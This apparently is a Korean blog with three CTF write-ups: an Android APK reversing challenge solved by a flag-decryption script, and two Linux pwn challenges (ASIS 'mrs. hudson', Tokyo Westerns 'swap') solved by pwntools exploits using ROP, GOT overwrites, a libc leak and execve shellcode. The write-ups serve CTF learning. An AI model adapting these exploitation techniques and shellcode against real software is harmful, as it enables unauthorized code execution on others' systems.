2017. 9. 21. 03:13

## HDCON_2017(Fabuary, rev)


[Summary]

1. Android APK 리버싱 & native library 리버싱 문제이다.

2. 가위바위보를 하는 어플리케이션이 있는데 17916점을 넘기면 이기는 어플이다.

3. 한번 이길 때마다 1점씩오르며 각 가위,바위,보를 34999번이상 시도할 수 없다.(수동 방지인듯..)

4. rpc_calc()함수에서 score가 17916점을 넘기면 하드코딩된 값과 xor연산을 하여 키값을 생성해냄.

5. CallMe에서 해당 키값을 이용하여 하드코딩된 encrypt된 flag를 ck()를 호출하여 decrypt함.


[Analysis] 

 이 문제는 간단하게 요약하면 가위바위보를 하는 어플리케이션이 있는데 이기면 Score가 1점 올라가는 시스템이다. 

해당 어플리케이션은 아래 [그림 1]과 같다.



[그림 1] HDcon 어플리케이션 UI



 이제 이 apk를 jadx로 분석해보면 크게 2개의 중요한 루틴이 있다. 첫 번째는 가위, 바위, 보 버튼을 눌렀을 때 동작하는 

ClickListener인데 코드는 아래 [그림 2]와 같다. 



[그림 2] Paper button ClickListener 코드


 위 [그림 2]에 나온 코드는 보를 클릭했을 때의 동작을 나타내는 코드인데 나머지도 코드가 비슷하므로 이것만 

분석하면 된다.

 우선 qq라는 변수에 시스템이 랜덤으로 생성해 낸 가위, 바위, 보 중 하나를 넣고 '보'를 의미하는 3을 첫번째 인자로

qq를 2번째 인자로 rps_calc라는 함수를 호출하는데 이는 native library에 있으므로 해당 라이브러리를 IDA로

분석해야한다. 일단은 코드를 쭉 보면 rps_calc()함수의 리턴 값을 setText()로 어플리케이션에 출력하는데 

2017일 경우는 특별한 동작을 한다. "mm"에다가 rps_calc()함수의 리턴 값을 넣고 send broadcast를 한다.


 대충 딱 봐도 이게 문제를 풀었을 때 동작하는 루틴이겠구나라고 알 수 있는 부분이다.

이제 그럼 rps_calc()를 분석해보도록 하겠다. IDA로 library를 열어서 rps_calc()함수를 들여다보면 아래 [그림 3]

과 같다.



[그림 3] rps_calc() 함수 디컴파일


 다른 부분은 볼필요가 거의 없다. 그냥 이겼을 때 "You Win"을 출력하고 졌을 때 "You Lose"를 출력하고 뭔가 이상한 

걸 탐지하면 이상하다고 출력하는 부분이다. [그림 3]의 코드를 보면 score > 17916인 분기문을 볼 수 있는데 딱봐도

score가 17916이상이면 뭔가를 하고 아까 분석했던 것처럼 2017이 들어있는 문자열이 나오겠구나 생각할 수 있다.

 그럼 그안에를 보면 하드코딩된 값과 0x58을 xor하는 것을 볼 수 있는데 이걸 그냥 직접 해보면 "HD-C-O-N-2-0-1-7"

이 나온다. 이제 이걸로 아까 [그림 2]에서 분석했던 걸 참조하면 mm변수에 해당 키값을 넣고 send한다는 것을 

알 수 있다.


 그럼 이제 apk에서 봐야한다고 했던 2번째 부분을 보면 되는데 바로 CallMe이다. 코드는 아래 [그림 4]와 같다.



[그림 4] CallMe 코드

 이 코드를 보면 mmm 변수에 mm으로 받은 값을 집어넣고 하드코딩된 encrypted flag와 뭔가 

쿵짝쿵짝을 하는걸 알 수 있는데 키 값이 16자이므로 16자넘어가면 첨부터 key값 사용하는 루틴이 보이고

핵심 decrypt하는 루틴은 ck()함수에서 하는 것이라고 생각할 수 있다. ck()함수는 index를 첫 번째 인자로,

key값dmf 2번째 인자로, decrypted flag를 3번째 인자로 받고 호출된다. 그럼 이제 IDA로 ck()함수를 

분석하면 되는데 디컴파일된 결과는 아래 [그림 5]와 같다.



[그림 5] ck() 함수 디컴파일


 위 [그림 5]의 코드도 굉장히 간단한데 index값을 기준 삼아 case문으로 분기를 나누고 그냥 시프트 연산

xor연산으로 쿵짝쿵짝하고 리턴하는 간단한 함수이다. 따라서 이건 파이썬으로 똑같이 짜주면 decrypt가 

가능하다. 그렇게 나온 결과는 "[*] flag is : W@tching_7th_Sunse7_in_B@li" 이었다.


[Exploit Code] - rock_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
key = list("HD-C-O-N-2-0-1-7")
enc_flag = list("SBtbhfle_7tg]Runsj5]io_MBmi")
dec_flag = []
 
def ck(i, key, enc_flag):
    if(i%6 == 0):
        result = chr(((ord(key) & 0xfff0>> 4) ^ ord(enc_flag))
        return result
    elif(i%6 == 1):
        result = chr(((ord(key) & 0xffe0>> 5) ^ ord(enc_flag))
        return result
    elif(i%6 == 2):
        result = chr(((ord(key) & 0xff80>> 7) ^ ord(enc_flag))
        return result
    elif(i%6 == 3):
        result = chr(((ord(key) & 0xffc0>> 6) ^ ord(enc_flag))
        return result
    elif(i%6 == 4):
        result = chr(ord(enc_flag))
        return result
    elif(i%6 == 5):
        result = chr(ord(enc_flag) ^ 0xf)
        return result
    else:
        result = chr(67)
        return result
        
 
for i in xrange(len(enc_flag)):
    if(i<16):
        dec_flag.append(ck(i, key[i], enc_flag[i]))
    else:
        dec_flag.append(ck(i, key[i-16], enc_flag[i]))
 
print "[*] flag is : " + "".join(dec_flag)
 
cs


[Get Flag~~!!!!]


[그림 6] flag



끝~!





Posted by holinder4S
2017. 9. 13. 21:46

## ASIS CTF_2017(mrs. hudson, pwn)


[Summary]

1. rop를 이용해 scanf("%s",bss); 호출

=> pop_rdi, pop_rsi_r15 가젯 이용

=> 취약점이 터지는 함수가 scanf()여서 scanf_plt주소의 0x20부분이 null처리됨.

=> 따라서 got로 점프하는 주소 바로 다음 명령어 즉, got에 주소가 없을 경우 plt+0x6으로 다시 돌아오는데

그 주소를 이용.

=> 쉘코드 입력하고 exploit!


[Exploit Code]  - mrshudson_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#import hexdump
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./mrs._hudson")
else:
    p = remote("178.62.249.106"8642)
 
binary = ELF("./mrs._hudson")
 
raw_input()
 
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
bss = 0x601040
 
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
scanf_plt_6 = 0x400526
 
aS = 0x40072b
 
if __name__ == '__main__':
    payload = "A"*0x70 + "ebppebpp"
    payload += p64(pop_rdi) + p64(aS)
    payload += p64(pop_rsi_r15) + p64(bss) + p64(bss)
    payload += p64(scanf_plt_6)
    payload += p64(bss)
 
    p.send(payload + '\n')
    p.send(shellcode + '\n')
    
    p.interactive()
cs


[Get Flag~~!!!!]


[그림 1] flag확인


끝~!



Posted by holinder4S
2017. 9. 13. 11:21

## Tokyo Westerns CTF_2017(swap, pwn)


[Summary]

1. memcpy <=> read : swap기능을 이용해 바꿔치면 memcpy()만 read로 변경된다.(arbitrary mem write 가능해짐)

2. oneshot gadget을 얻기 위해 libc leak을 해야한다.

=> setvbuf_got를 puts_plt로 덮어씌운다.

=> exit_got를 start의 주소로 덮어씌워 setvbuf를 실행시킨다.(결과적으로 puts(stderr))

=> stderr를 stdin의 주소로 바꾼다.(for puts(_IO_2__1_stdin's addr))

3. exit_got를 oneshot_gadget으로 덮어씌운다.


[Exploit Code]  - swap_exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
 
context(arch='amd64',os='linux')
#local=True
local=False
 
if local:
    p = process("./swap")
else:
    p = remote("pwn1.chal.ctf.westerns.tokyo"19937)
 
binary = ELF("./swap")
 
raw_input()
 
puts_plt = 0x4006b0
memcpy_got = 0x601040
puts_got = 0x601018
read_got = 0x601028
exit_got = 0x601058
setvbuf_got = 0x601048
start_addr = 0x400760
stdin_addr = 0x601090
stderr_addr = 0x6010a0
 
def print_menu():
    p.recvuntil('Your choice:')
 
def set_addr(addr1, addr2):
    print_menu()
    p.send('1'+'\n')
    p.recvuntil('1st addr')
    p.send(str(addr1))
    p.recvuntil('2nd addr')
    p.send(str(addr2))
 
def swap():
    print_menu()
    p.send('2'+'\n')
 
if __name__ == "__main__":
    ## Stage 1 : arbitrary mem write(using memcpy_got <= read_got)
    set_addr(memcpy_got, read_got)
    swap()
 
    ## Stage 2 : leak libc addr
    ##    - setvbuf_got <= puts_plt
    ##    - exit_got <= start_addr (for trigger setvbuf(puts))
    ##    - stderr <= stdin (for puts(_IO_2_1_stdin's addr)
    ##      => result : libc stdin leak => libc base => one shot
    set_addr(0, setvbuf_got)
    swap()
    p.send(p64(puts_plt))
 
    set_addr(0, exit_got)
    swap()
    p.send(p64(start_addr))
    
    set_addr(0, stderr_addr)
    swap()
    p.send(p64(stdin_addr))
 
    p.send('0'+'\n')
    p.recvuntil('Bye.')
    p.recvline(); p.recvline(); p.recvline()
 
    ## leak & calc
    _IO_2_1_stdin_leak = u64(p.recv(6)+"\x00\x00")
    libc_base = _IO_2_1_stdin_leak - 0x3c48e0
    one_gadget = libc_base + 0xf0274#0x4526a
    print "[+] _IO_2_1_stdin addr : " + hex(_IO_2_1_stdin_leak)
    print "[+] libc base addr : " + hex(libc_base)
    print "[+] one shot gadget : " + hex(one_gadget)
 
    ## Stage 3 : exit <= oneshot_gadget
    set_addr(0, exit_got)
    swap()
    p.send(p64(one_gadget))
 
    ## Final : trigger
    p.send('0'+'\n')
    
    #print p.recv(1024)
    #puts_leak = p.recv(1024)[:6]+"\x00\x00"; 
    #print "[+] puts addr : " + hex(u64(puts_leak))
    
    
    p.interactive()
 
 
cs


[Get Flag~~!!!!]


[그림 1] flag 확인


끝~!

Posted by holinder4S